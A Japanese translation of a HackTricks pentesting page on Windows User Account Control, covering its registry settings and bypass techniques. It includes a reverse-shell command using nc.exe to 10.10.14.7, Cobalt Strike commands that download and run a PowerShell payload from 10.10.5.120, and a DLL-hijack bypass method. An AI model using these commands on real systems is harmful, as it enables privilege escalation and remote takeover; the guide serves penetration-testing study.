hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md

23 KiB
Raw Blame History

UAC - User Account Control

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

Trickestを使用して、世界で最も先進的なコミュニティツールによって動力を供給されるワークフローを簡単に構築し自動化します。 今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

User Account Control (UAC)は、昇格した活動に対する同意プロンプトを有効にする機能です。アプリケーションには異なるintegrityレベルがあり、高レベルのプログラムはシステムを危険にさらす可能性のあるタスクを実行できます。UACが有効な場合、アプリケーションとタスクは、管理者が明示的にこれらのアプリケーション/タスクにシステムへの管理者レベルのアクセスを許可するまで、常に非管理者アカウントのセキュリティコンテキストの下で実行されます。これは、意図しない変更から管理者を保護する便利な機能ですが、セキュリティ境界とは見なされません。

integrityレベルについての詳細はこちら

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

UACが設置されている場合、管理者ユーザーには2つのトークンが与えられます通常のアクションを通常レベルで実行するための標準ユーザーキーと、管理者権限を持つものです。

このページでは、UACの動作について詳しく説明しており、ログオンプロセス、ユーザーエクスペリエンス、およびUACアーキテクチャが含まれています。管理者は、ローカルレベルでのセキュリティポリシーsecpol.mscを使用を使用して、またはActive Directoryドメイン環境でGroup Policy ObjectsGPOを介して設定および展開することによって、組織に特有のUACの動作を構成できます。さまざまな設定についてはこちらで詳しく説明されています。UACには設定できる10のGroup Policy設定があります。以下の表に詳細を示します

Group Policy設定 レジストリキー デフォルト設定
User Account Control: 組み込みAdministratorアカウントのAdmin Approval Mode FilterAdministratorToken 無効
User Account Control: UIAccessアプリケーションがセキュアデスクトップを使用せずに昇格を促すことを許可する EnableUIADesktopToggle 無効
User Account Control: Admin Approval Modeの管理者に対する昇格プロンプトの動作 ConsentPromptBehaviorAdmin 非Windowsバイナリに対して同意を求める
User Account Control: 標準ユーザーに対する昇格プロンプトの動作 ConsentPromptBehaviorUser セキュアデスクトップで資格情報を求める
User Account Control: アプリケーションのインストールを検出し、昇格を促す EnableInstallerDetection 有効(ホームのデフォルト)無効(企業のデフォルト)
User Account Control: 署名され検証された実行可能ファイルのみを昇格する ValidateAdminCodeSignatures 無効
User Account Control: セキュアな場所にインストールされたUIAccessアプリケーションのみを昇格する EnableSecureUIAPaths 有効
User Account Control: すべての管理者をAdmin Approval Modeで実行する EnableLUA 有効
User Account Control: 昇格を促す際にセキュアデスクトップに切り替える PromptOnSecureDesktop 有効
User Account Control: ユーザーごとの場所へのファイルおよびレジストリ書き込み失敗を仮想化する EnableVirtualization 有効

UAC Bypass理論

管理者グループに属するユーザーの場合、一部のプログラムは_Manifests内のautoElevateオプションがTrue_として設定されているため、自動的に自動昇格されます。バイナリはMicrosoftによって署名されている必要があります。

その後、攻撃者はこの種のバイナリを使用して任意のコードを実行することでUACバイパスします(レベルのintegrityからレベルに昇格)。これは、High level integrityプロセスから実行されるためです。

バイナリの_Manifestをチェックするには、Sysinternalsのツールsigcheck.exe_を使用できます。また、プロセスのintegrityレベルを見るには、Process Explorer_または_Process MonitorSysinternalsのものを使用できます。

UACの確認

UACが有効かどうかを確認するには

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

1 であればUACはアクティブです。0 であるか、存在しない場合は、UACは非アクティブです。

次に、どのレベルが設定されているかを確認します:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • 0 の場合、UACはプロンプトを表示しません無効のように)
  • 1 の場合、管理者は高権限でバイナリを実行するためにユーザー名とパスワードを求められます(セキュアデスクトップ上で)
  • 2常に通知するの場合、管理者が高権限で何かを実行しようとすると、UACは常に確認を求めますセキュアデスクトップ上で
  • 3 の場合、1と同じですが、セキュアデスクトップ上での実行は必要ありません
  • 4 の場合、2と同じですが、セキュアデスクトップ上での実行は必要ありません
  • 5デフォルトの場合、管理者はWindows以外のバイナリを高権限で実行する前に確認を求められます

次に、LocalAccountTokenFilterPolicy の値を確認する必要があります。
値が 0 の場合、RID 500 ユーザー(組み込みの管理者のみがUACなしで管理タスクを実行できます。値が 1 の場合、"Administrators" グループ内の全アカウントがそれらを実行できます。

最後に、キー FilterAdministratorToken の値を確認してください。
0(デフォルト)の場合、組み込みの管理者アカウントはリモート管理タスクを実行でき、1 の場合、組み込みの管理者アカウントは LocalAccountTokenFilterPolicy1 に設定されていない限り、リモート管理タスクを実行できません

要約

  • EnableLUA=0 または 存在しない場合誰にもUACはありません
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=1 の場合、誰にもUACはありません
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=0 かつ FilterAdministratorToken=0 の場合、RID 500組み込みの管理者にはUACはありません
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=0 かつ FilterAdministratorToken=1 の場合、全員にUACがあります

この情報は全て metasploit モジュール:post/windows/gather/win_privs を使用して収集できます。

また、ユーザーのグループを確認し、整合性レベルを取得することもできます:

net user %username%
whoami /groups | findstr Level

UACバイパス

{% hint style="info" %} グラフィカルアクセスが被害者にある場合、UACバイパスは簡単です。UASプロンプトが表示されたときに「はい」をクリックするだけです。 {% endhint %}

UACバイパスが必要な状況は次のとおりですUACが有効で、プロセスが中間整合性コンテキストで実行されており、ユーザーが管理者グループに属している場合

UACが最高セキュリティレベルAlwaysにある場合は、他のレベルDefaultにある場合よりもバイパスがはるかに困難であるということを言及することが重要です。

UAC無効

UACが既に無効になっている場合ConsentPromptBehaviorAdminが**0)、次のようなものを使用して管理者権限でリバースシェルを実行**できます(高整合性レベル):

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

トークン複製によるUACバイパス

非常に 基本的なUAC "バイパス"(完全なファイルシステムアクセス)

管理者グループに属するユーザーのシェルを持っている場合、SMBファイルシステム経由でC$をマウントし、新しいディスクにローカルでマウントすると、ファイルシステム内のすべてにアクセスできます(管理者のホームフォルダーでさえも)。

{% hint style="warning" %} このトリックはもう機能しないようです {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Cobalt Strikeを使用したUACバイパス

Cobalt Strikeの技術は、UACが最大のセキュリティレベルに設定されていない場合にのみ機能します

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

EmpireMetasploitには、UACバイパスするためのいくつかのモジュールがあります。

KRBUACBypass

ドキュメントとツールはhttps://github.com/wh0amitz/KRBUACBypassにあります。

UAC バイパスのエクスプロイト

UACMEは、いくつかのUACバイパスのエクスプロイトをコンパイルしたものです。Visual Studioまたはmsbuildを使用してUACMEをコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイル(例:Source\Akagi\outout\x64\Debug\Akagi.exe)が作成されますが、どれを必要とするかを知る必要があります。
注意が必要です。なぜなら、いくつかのバイパスは他のプログラムのプロンプトを表示させることがあり、それによってユーザーに何かが起こっていることを警告する可能性があるからです。

UACMEには、各テクニックが機能し始めたビルドバージョンがあります。あなたのバージョンに影響を与えるテクニックを検索できます:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

以下は、Windowsのリリース1607をビルドバージョンから取得するために使用するこのページです。

より多くのUACバイパス

すべてのここで使用されるUACバイパス技術は、被害者との完全なインタラクティブシェル必要とします一般的なnc.exeシェルでは不十分です

meterpreterセッションを使用して取得できます。Session値が1に等しいプロセスに移行します:

(_explorer.exe_が機能するはずです)

GUIを使用したUACバイパス

**GUIにアクセスできる場合は、UACプロンプトが表示されたときにそれを受け入れるだけでよく、本当にバイパスする必要はありません。**したがって、GUIへのアクセスを取得することで、UACをバイパスできます。

さらに、誰かが使用していたおそらくRDP経由でGUIセッションを取得すると、管理者として実行されているツールがいくつかあり、UACに再度プロンプトされることなく、たとえば管理者として直接cmdを実行できるようになります。https://github.com/oski02/UAC-GUI-Bypass-appverifのようなものです。これは少しステルスかもしれません。

騒々しいブルートフォースUACバイパス

騒がしいことを気にしない場合は、ユーザーがそれを受け入れるまで権限の昇格を求め続けるhttps://github.com/Chainski/ForceAdminのようなものを実行することができます。

独自のバイパス - 基本的なUACバイパス方法論

UACMEを見ると、ほとんどのUACバイパスがDllハイジャックの脆弱性を悪用していることがわかります主に_C:\Windows\System32_に悪意のあるdllを書き込むことによってDllハイジャックの脆弱性を見つける方法を学ぶには、これを読んでください

  1. 自動昇格するバイナリを見つけます(実行されると高い完全性レベルで実行されることを確認します)。
  2. procmonを使用して、DLLハイジャックに対して脆弱な可能性のある "NAME NOT FOUND" イベントを見つけます。
  3. 書き込み権限のない保護されたパスC:\Windows\System32などにDLLを書き込む必要があるかもしれません。これをバイパスするには:
    1. wusa.exeWindows 7,8および8.1。保護されたパス内にCABファイルの内容を抽出することを許可しますこのツールは高い完全性レベルから実行されるため
    2. IFileOperationWindows 10。
  4. 保護されたパスにDLLをコピーして、脆弱で自動昇格されたバイナリを実行するスクリプトを準備します。

別のUACバイパス技術

自動昇格されたバイナリレジストリから実行されるバイナリまたはコマンド名前/パス読み取ろうとするかどうかを監視することによって成り立っています(バイナリがこの情報をHKCU内で検索する場合、これはより興味深いです)。

世界で最も進んだコミュニティツールを搭載したワークフローを簡単に構築して自動化するためにTrickestを使用します。 今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert)で ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法